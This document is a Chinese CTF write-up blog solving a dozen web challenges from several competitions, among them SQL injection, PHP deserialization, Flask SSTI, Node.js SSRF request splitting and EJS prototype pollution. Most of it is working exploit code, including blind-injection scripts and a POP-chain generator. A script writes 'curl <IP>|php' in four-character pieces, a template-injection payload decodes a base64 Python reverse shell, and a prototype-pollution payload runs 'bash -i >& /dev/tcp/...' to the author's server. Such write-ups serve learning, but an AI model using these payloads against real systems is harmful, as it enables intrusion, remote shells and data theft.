output += '\r\n\r\nThe content is:\r\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import web
from urllib.parse import unquote
from base.readfile import *

urls = (
'/', 'help',
'/read/(.*)','read'
)
web.config.debug = False

class help:
def GET(self):
help_information = '''
Welcome to our FMKQ api, you could use the help information below
To read file:
/read/file=example&vipcode=example
if you are not vip,let vipcode=0,and you can only read /tmp/{file}
Other functions only for the vip!!!
'''
return help_information


class read:
def GET(self,text):
file2read = readfile(text)
if file2read.test() == False:
return "error"
else:
if file2read.isvip() == False:
return ("The content of "+ file2read.GetFileName() +" is {file}").format(file=file2read)
else:
vipfile2read = vipreadfile(file2read)
return (str(vipfile2read))






if __name__ == "__main__":
app = web.application(urls, globals())
app.run()

fl4g被过滤了,所以无法直接读flag

刚开始是想用fd/cwd来读取的,后来fuzz几下服务就炸掉了,所以我们换了个思路

通过拼接来绕过

1
2
f{vipfile.__class__.__mro__[1].__new__.__doc__[39]}4g_1s_h3re_u_wi11_rua/flag

flag{qoSF2nKvwoGRI7aJ}

hackme

session引擎设置错误导致的反序列化

profile.php处的ini_set('session.serialize_handler', 'php');

其他地方基本都是ini_set('session.serialize_handler','php_serialize');

我们利用sign参数来写入恶意session

浏览代码发现,这里是我们的目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#变成管理员吧,奥利给
} else {
die('只有管理员才能看到我哟');
}

function check_session($session)
{
foreach ($session as $keys => $values) {
foreach ($values as $key => $value) {
if ($key === 'admin' && $value === 1) {
return true;
}
}
}
return false;
}

我们最终要构造

1
2
3
array(
'xxxx':array('admin',1)
);

原本我们直接在upload_sign.php中post : sigh[admin]=1即可

但是upload_sign.php的session引擎是ini_set('session.serialize_handler','php_serialize');

core/index.php的session引擎是:ini_set('session.serialize_handler', 'php');

也就是说session是无法被正确解析的

  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

根据php和php_serialize两个反序列化引擎的不同之处,我们构造

sign=|a%3A1%3A%7Bs%3A5%3A%22admin%22%3Bi%3A1%3B%7D

拿到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}

compress.zlib://data:@127.0.0.1/plain;base64,xxx来代替data协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

import random,base64,requests
import time
shell_ip = '39.108.164.219'



# 将shell_IP转换成十六进制
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2))
for i in shell_ip.split('.')])

# payload某些位置的可选字符
pos0 = 'f'
pos1 = 'k'
pos2 = 'g' # 随意选择字符

payload = [
'>dir',
# 创建名为 dir 的文件

'>%s\\>' % pos0,
# 假设pos0选择 f , 创建名为 f> 的文件

'>%st-' % pos1,
# 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
# 因为alphabetical序中t>s

'>sl',
# 创建名为 >sl 的文件;到此处有四个文件,
# ls 的结果会是:dir f> kt- sl

'*>v',
# 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
# 前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
# 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符

'>rev',
# 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v

'*v>%s' % pos2,
# 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。
# 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f

# 续行分割 curl 0x11223344|php 并逆序写入
'>p',
'>ph\\',
'>\\|\\',
'>%s\\' % ip[8:10],
'>%s\\' % ip[6:8],
'>%s\\' % ip[4:6],
'>%s\\' % ip[2:4],
'>%s\\' % ip[0:2],
'>\\ \\',
'>rl\\',
'>cu\\',

'sh ' + pos2,
'sh ' + pos0,
]
burp0_url = "http://121.36.222.22:88/core/index.php"
burp0_cookies = {"PHPSESSID": "d0669b0c49bf308022c430b52699b257", "JSESSIONID": "E1715942F5CF2C337F1B86D0B6F324E0"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Origin": "http://121.36.222.22:88", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://121.36.222.22:88/core/index.php", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
for i in payload:
assert len(i) <= 4
burp0_data = {"url": "compress.zlib://data:@127.0.0.1/plain;base64,"+str(base64.b64encode(bytes(i,encoding="ascii")),encoding="ascii")}
r=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
print(r.status_code,burp0_data,i)
print(r.text)
time.sleep(0.1)


flag{B11e_oX4461_Y2h1_100_OIZW4===}

sqlcheckin

最简单的题目之一

payload:'-'0

php-uaf

https://raw.githubusercontent.com/mm0r1/exploits/master/php7-backtrace-bypass/exploit.php
直接include就可以了,但是有时候可以,有时候不可以
image16793

flag{SObARsac1TyC0V9B}

webct

www.zip获得源码

利用mysql load data 来 反序列化

1
2
3
4
5
6
7
8
9
10

$phar = new Phar("phar.phar"); //后缀名必须为phar,phar伪协议不用phar后缀
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Fileupload(new Listfile("/;/readflag;"));
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

https://github.com/Gifts/Rogue-MySql-Server

刚开始的时候本地成功打通,但是靶机那里怎么也打不通

自己弄了个7.3.15的环境后发现

image17357
option那里要数字不要字符串
MYSQLI_OPT_LOCAL_INFILE对应的数字是8

i春秋2020

i春秋

web

简单的招聘系统

sqlmap直接出来

flag{2f52809e-f46c-4638-8f72-b24ec1ec6d06}

盲注

过滤union,<,>,=

构造http://75087ef5ae2c4685b155e915c62d0060b48ad2be758e45d8.changame.ichunqiu.com/?id=1 and if(hex(substr(fl4g,1,1))-1,sleep(5),0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

'http://75087ef5ae2c4685b155e915c62d0060b48ad2be758e45d8.changame.ichunqiu.com/?id=1%20and%20if(hex(substr(fl4g,POS,1))-GUESS,sleep(5),0)'
result="666c61677b32363837656433302d356266382d343033662d383732342d61643239"
l=len(result)
while True:
ended=True
l+=1
for i in range(16):
sql='http://ecd3dce145d342fd9d490cde15ef8239b1e8b5763640437a.changame.ichunqiu.com/?id=0%2bif(conv(substr(hex(fl4g),POS,1),16,10)-GUESS,1,sleep(5))'
sql=sql.replace("POS",str(l))
sql=sql.replace("GUESS",str(i))
try:
requests.get(sql,timeout=5)
print(sql)
except :
result+=hex(i)[2:]
print(result)
ended=False
break
if ended:
break

ezsqli

黑名单:union.*select,or,in

因为盲注太麻烦,所以想用preg回溯次数来绕过,但是没用,最后也只能盲注了

0 ^ (1=0)来盲注,因为过滤了in所以用sys系统库来绕过(https://xz.aliyun.com/t/7169#toc-53)

0 ^ (select substr(hex(group_concat(table_name)),1,1) from (SELECT table_name FROM sys.schema_table_statistics WHERE table_schema=database() GROUP BY table_name)a)

获取表名之后,还有一个难点就是,列名的获取,但是获取列名会用到in字符

因此考虑,无列名注入union select那个肯定不行

我们利用((select 1,GUESS)>(select * from f1ag_1s_h3r3_hhhhh))来获取flag

当我们利用这个时,我们必须保证某一个相等,才能通过另外一个判断flag

有一点要注意的是

1
2
3
4
5
6
mysql> select 'f'='F';
+---------+
| 'f'='F' |
+---------+
| 1 |
+---------+

用这种方法是无法区分大小写的,所幸这次比赛的flag都是小写

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import string

sql="1 ^ ((select substr(hex(group_concat(table_name)),POS,1) from (SELECT table_name FROM sys.schema_table_statistics WHERE table_schema=database() GROUP BY table_name)a)=GUESS)"
#f1ag_1s_h3r3_hhhhh,users233333333333333
result=""
# l=len(result)
# while True:
# l+=1
# ended=True
# for i in string.printable:
# sql="1 ^ ((select 0,GUESS)>(select * from f1ag_1s_h3r3_hhhhh))"
# sql=sql.replace("POS",str(l))
# sql=sql.replace("GUESS",(result+i).encode("hex").upper())
# res=requests.post("http://c957eb4253fb4275856dc45eb06d11ab05103bcf405348ab.changame.ichunqiu.com/index.php",data={"id":sql})
# print(sql)
# if "Hello Nu1L" in res.text:
# result+=i
# print(result)
# ended=False
# break
# if ended:
# break

#FLAG{9AD0BB6D-634F-4AEC-9DD8-B617774CD334}
l=len(result)
while True:
l+=1
ended=True
for j in range(32,128):
i=chr(j)
sql="0 ^ ((select 1,GUESS)>(select * from f1ag_1s_h3r3_hhhhh))"
sql=sql.replace("POS",str(l))
sql=sql.replace("GUESS",'0x'+(result+i).encode("hex").upper())
res=requests.post("http://c957eb4253fb4275856dc45eb06d11ab05103bcf405348ab.changame.ichunqiu.com/index.php",data={"id":sql})
print(sql)
if "Hello Nu1L" in res.text:
result+=chr(ord(i)-1)
print(result)
ended=False
break
if ended:
break

babyphp

1
2
3
4
class info:__call 
public function __call($name,$argument){//反序列化
echo $this->CtrlCase->login($argument[0]);
}

flag在flag.php中

文件读取点:

1
2
3
4
class User
public function __destruct(){//任意读
return file_get_contents($this->nickname);//危
}
1
2
3
4
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

现在有两种思路:

  1. 反序列化读取文件
  2. sql注入拿到管理原密码,来读取文件(x)

无论想干啥都得先登陆,但是不知道咋登陆

考虑反序列化

如果我们成功登陆,攻击入口就是update.php

1
2
3
4
5
6
7
8
9
10
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

比较奇怪的是,按我所知,想要反序列化就要登陆,登陆的话他们就自己打出flag了,所以没有反序列化的必要?

认真看下好像没有die

1
2
3
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}

反序列化的起点是:$Info=unserialize($this->getNewinfo());

终点是:

1
2
3
4
class user
public function __destruct(){//任意读
return file_get_contents($this->nickname);//危
}

1
2
3
4
class Info
public function __call($name,$argument){//反序列化
echo $this->CtrlCase->login($argument[0]);
}

因为__destruct的数据不知道怎么拿出来,我先考虑sql注入

如果,老老实实让他们序列化Info,好像啥都干不了

想办法利用safe函数在Info里面插个类,插个UpdateHelper然后利用其__destruct方法调用User__toString函数,

再调用login方法,最后执行sql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User{
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){//任意读
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
Class UpdateHelper{
public $id=0;
public $newinfo="";
public $sql;
public function __construct($sql){
$this->sql=$sql;
}
// public function __destruct()
// {
// echo $this->sql;
// }
}
class Info{
public $age="";
public $nickname="";
public $CtrlCase;
public function __construct(){
$this->CtrlCase=new dbCtrl();
}
// public function __call($name,$argument){//反序列化
// echo $this->CtrlCase->login($argument[0]);
// }
}
class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser = "noob123";
public $dbpass = "noob123";
public $database = "noob123";
// public $hostname = "127.0.0.1";
// public $dbuser = "root";
// public $dbpass = "123456";
// public $database = "test";
public $name="admin";
public $password="1";
public $mysqli;
public $token;
}
class User
{
public $id=0;
public $age;
public $nickname;
public function __construct()
{
$this->nickname=new Info();
$this->age='select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
}
}
function escape($str)
{
$evil='';
$len=strlen($str)+2;
if($len%2)
{
$evil.="union";
$len-=1;
}
$len/=2;
while($len)
{
$evil.="load";
$len-=1;
}
return $evil.'";'.$str;

}
$call__tostring=new UpdateHelper(new User());
$ser= urlencode(serialize($call__tostring));
echo urlencode(escape("s:8:\"CtrlCase\";".urldecode($ser).';};'));

flag{7989f259-3281-4c1c-8939-dc8bc0b5375b}

easysqli_copy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}

利用宽字节来逃出引号包围,payload:%bf%27;

但是没有找到有效的sql时间盲注语句,正则来延时也没用,加上select被过滤,

我缺少了一个关键的知识

在学长的提示下,被认为不可以堆叠注入的pdo居然可以(我哪来的认知????)

然后就简单了

1
set @t=0x73656C65637420736C65657028313029;PREPARE sqla from @t;EXECUTE sqla;

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
def sql_inj(sql):
sql="0x"+sql.encode("hex")
tpl="set @t=TGT;PREPARE sqla from @t;EXECUTE sqla;".replace("TGT",sql)
url="http://b0ae8f49254247b8815616a4711941f17f2a145a8a374167.changame.ichunqiu.com/"
param={
"id":"\xbf\x27;"+tpl
}
requests.get(url,params=param,timeout=2)

#696E666F726D6174696F6E5F736368656D612C6D7973716C2C70646F746573742C706572666F726D616E63655F736368656D61
#table1
#balabala,eihey,fllllll4g,bbb
result=""
count=1+len(result)
while True:
lock=0
for i in "0123456789ABCDEF":
#UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
try :
sql="select if(substr(hex(group_concat(COL)),POS,1)='GUESS',sleep(3),0) from TABLE WHERE".replace("COL","fllllll4g")
sql=sql.replace("GUESS",i).replace("TABLE","table1")
sql=sql.replace("WHERE","")
sql=sql.replace("POS",str(count))
sql_inj(sql)
print(sql)

except :
result+=i
print(result)
lock=1
break
if not lock:
break
count+=1

black_list

这题让我学到一个骚操作和看到一篇好文章

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

利用堆叠注入查询

1
2
3
4
5
6
7
8
9
array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1';show create table words;#
array(2) {
[0]=>
string(5) "words"
[1]=>
string(114) "CREATE TABLE `words` (
`id` int(10) NOT NULL,
`data` varchar(20) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8"
}


1';show create table FlagHere;#
array(2) {
[0]=>
string(8) "FlagHere"
[1]=>
string(93) "CREATE TABLE `FlagHere` (
`flag` varchar(100) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8"
}

利用handler来读取数据

1';handler FlagHere open;handler FlagHere read first;#

flaskapp

{{1+1}}

过滤import,os

1
2
3
4
{{''|attr('_'+'_class_'+'_')|attr('_'+'_ba'+'se_'+'_')}}
{{''|attr('_'+'_class_'+'_')|attr('_'+'_ba'+'se_'+'_')|attr('__subcl'+'asses__')()}}
{{''|attr('_'+'_class_'+'_')|attr('_'+'_ba'+'se_'+'_')|attr('__subcl'+'asses__')()|attr('__dict__')}}
{{config.__class__.__mro__[1].__subclasses__()[-2].__init__.__globals__['o'+'s'].__dict__['sys'+'tem']('echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoIjM5LjEwOC4xNjQuMjE5Iiw2MDAwMykpCm9zLmR1cDIocy5maWxlbm8oKSwwKQpvcy5kdXAyKHMuZmlsZW5vKCksMSkKb3MuZHVwMihzLmZpbGVubygpLDIpCnA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0p|base'+'64 -d | python')}}

node_game

https://github.com/nodejs/node/issues/13296

https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/

这题有个upload函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
app.post('/file_upload', function(req, res){
var ip = req.connection.remoteAddress;
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only admin's ip can use it"
res.send(JSON.stringify(obj));
return
}
fs.readFile(req.files[0].path, function(err, data){
if(err){
obj.msg = 'upload failed';
res.send(JSON.stringify(obj));
}else{
var file_path = '/uploads/' + req.files[0].mimetype +"/";
var file_name = req.files[0].originalname
var dir_file = __dirname + file_path + file_name
if(!fs.existsSync(__dirname + file_path)){
try {
fs.mkdirSync(__dirname + file_path)
} catch (error) {
obj.msg = "file type error";
res.send(JSON.stringify(obj));
return
}
}
try {
fs.writeFileSync(dir_file,data)
obj = {
msg: 'upload success',
filename: file_path + file_name
}
} catch (error) {
obj.msg = 'upload failed';
}
res.send(JSON.stringify(obj));
}
})
})

但是需要本地访问

有一个ssrf的点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/source?' + q
var trigger = blacklist(url);
if (trigger === true) {
res.send("<p>error occurs!</p>");
} else {
try {
http.get(url, function(resp) {
resp.setEncoding('utf8');
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");
return;
}
});

resp.on('data', function(chunk) {
try {
resps = chunk.toString();
res.send(resps);
}catch (e) {
res.send(e.message);
}

}).on('error', (e) => {
res.send(e.message);});
});
} catch (error) {
console.log(error);
}
}
} else {
res.send("search param 'q' missing!");
}
})

我们利用nodejs 8及之前的utf-8latin1的漏洞来进行ssrf

1
2
> http.get('http://example.com/\u010D\u010A/test').output
[ 'GET /čĊ/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import hashlib
from urllib.parse import quote, unquote
import requests
import socket

file='''------WebKitFormBoundaryVneK8P7cpLasJSn8
Content-Disposition: form-data; name="file"; filename="a.pug"
Content-Type: ../template

doctype html
html
head

body
include ../../../../../../flag.txt
------WebKitFormBoundaryVneK8P7cpLasJSn8--
'''.replace("\r\n","\n").replace("\n","\r\n")
body=''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Host: x
Content-Length: %d
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVneK8P7cpLasJSn8
Connection: keep-alive

%s
GET /core HTTP/1.1
Host: x
Connection: keep-alive
x:''' %(len(file),file)
body=body.replace("\r\n","\n").replace("\n","\r\n")
uni = {
'/': quote('\u012f'.encode('utf-8')),
' ': quote('\u0120'.encode('utf-8')),
'\n': quote('\u010a'.encode('utf-8')),
'\r': quote('\u010d'.encode('utf-8')),
'"': quote('\u0122'.encode('utf-8')),
"'": quote('\u0127'.encode('utf-8')),
'!': quote('\u0121'.encode('utf-8')),
'o': quote('\u016f'.encode('utf-8')),
'e': quote('\u0165'.encode('utf-8')),
}
print(uni)
host=""
payload = '%s' % body
for c, encoded in uni.items():
payload = payload.replace(c, encoded)
print(payload)
requests.get("http://123.57.212.112:33321/core?q="+payload)

flag{8ed05e41-c306-4f0f-a958-6759f66890e9}

ezExpress

https://xz.aliyun.com/t/7184#toc-7

https://xz.aliyun.com/t/6113#toc-4

1
2
3
4
5
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

类似js原型链污染的点

但是需要req.session.user.user==ADMIN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

谷歌找到https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html,关于toUpperCase的一些特性,来绕过safeKeyword

payload:userid=adm%C4%B1n&pwd=a&action=login&Submit=register | admın

最后污染ejs来拿到flag(https://xz.aliyun.com/t/6113#toc-4)

1
{"Submit":"","lud":1,"__proto__":{"outputFunctionName":"a; global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/39.108.164.219/60003 0>&1\"');//"}}

easy_thinking

www.zip下载源码

输入不存在的路径发现是tp6.0.0,刚好有个session直接写的漏洞

全局搜索session,发现

1
2
3
4
5
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}

然后getshell